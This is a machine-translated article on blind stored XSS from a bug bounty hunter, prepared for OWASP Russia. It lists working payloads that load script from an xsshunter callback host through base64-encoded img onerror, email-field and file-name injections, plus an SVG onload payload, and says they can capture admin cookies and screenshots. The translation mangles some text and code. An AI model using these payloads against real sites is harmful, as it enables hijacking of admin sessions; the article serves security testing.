How does it work?
First of all, it is worth noting that XSS is not a vulnerability, but a type of attack on web systems. It consists in the introduction of a malicious code page (which will be executed on the user's computer when he opens this page) into the web-page that is issued by the system and its interaction with the attacker's web server. There are several types of XSS: stored, mirrored, and DOM. In this article we will consider only stored XSS - they are suitable for “breaking through” the goals.
The attack scheme is as follows: the attacker places a malicious payload on the web application, the vulnerable code enters the database and “shoots” in the admin area of the project.
Often, until the payload is triggered, the attacker does not suspect where and when he “shoots”. From my own experience I can say that the payload triggering took place from a few seconds to a few months - to speed up this process is extremely problematic.
Where payloads work is also an important factor. Groping for the blind XSS endpoints is akin to firing bullets with a displaced center of gravity. Sometimes admin panels are located on intricate subdomains of the type manage007.attacked.site either outside the tested site, on an IP address like XXX. XXX.XXX.XXX/admin_panel/dashboard.php
. Or it could be, for example, an analytics system that is generally outside the limits of the company being tested.
In order to get an “otstuk” from our payload, we need to have an external endpoint to intercept. To do this, you can raise your service and intercept all calls to it, incl. headers using an acceptable programming language.
Or you can use the following options (your choice).
BurpCollaborator is a dedicated external service for Burp Suite Pro users:
Use% Name% bin services, for example requestbin
Raise your own service, for example, using ezXSS
Or use xsshunter
(recommended for newbies) - a service for generating payloads and getting a “bang” from the worked payload (including via email): < br/>
So, we have found the input form on the site and want to test our theory that the blind will work in it. To do this, we need to prepare payloads, including to bypass protective equipment.
The xsshunter service offers several ready-made payloads for operating blind XSS:
"& gt; & lt; img src = x id = dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror = eval (atob (this.id)) & gt;
Part of the payload
var a = document.createElement ("script"); a.src = "https://yourpage.xss.ht"; document.body.appendChild (a);
Payload in the e-mail field:
"'- & gt; & lt;/style & gt; & lt;/title & gt; & lt;/textarea & gt; & lt;/script & gt; & lt; script src = https://yourpage.xss. ht & gt; "@ test.com
test @ ("'- & gt; & lt;/style & gt; & lt;/title & gt; & lt;/textarea & gt; & lt;/script & gt; & lt; script src = https://yourpage.xss.ht>) test.com
("'- & gt; & lt;/style & gt; & lt;/title & gt; & lt;/textarea & gt; & lt;/script & gt; & lt; script src = https://yourpage.xss.ht>) @ test.com
Now consider the most interesting input forms for implementing payloads.
- valid implementation examples are presented above, whether it works or not depends on the type of web application.
In the password field
- here we can find out if the web application stores the password with plain text and if the admin has seen it.
- sometimes shoots here too.
In the headers
- we substitute the payload into all the headers that we can control: referer, user agent, etc.
- uploading images/avatars in the form of * .svg can give us the opportunity to implement our payload (example)
. Svg contains payload:
File download field/file name
& lt; svg xmlns = "http://www.w3.org/2000/svg" onload = "alert (document.domain)"
- we can try to download with the name:
"& gt; & lt; img src = x id = dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror = eval (atob (this.id)) & gt; .jpg
- formal reply fields, “your opinion is important to us” and so on. Also a very promising form for implementing payload.
- the field "another/your answer option".
By exploiting this attack, you can access the control panel (with inappropriate security settings), screenshot, DOM structure, admin IP address, cookies, etc.
This attack allows you to access support systems
, admin panels, and more. During the participation in the programs Bug Bounty has accumulated quite a lot of interesting screenshots that were obtained during such attacks:
used in 150,000 companies worldwide:
There are quite a few such screenshots - this suggests that developers should pay special attention not only to the web application's storefront, but also to its administrative part.
UPD: part of payloads from the article worked on Habra aggregators/parsers, such things:)
The article was prepared as part of participation in the OWASP project.
OWASP Russia chapter: OWASP Russia
OWASP Russia chat: https://t.me/OWASP_Russia
OWASP Russia channel: https://t.me/OWASP_RU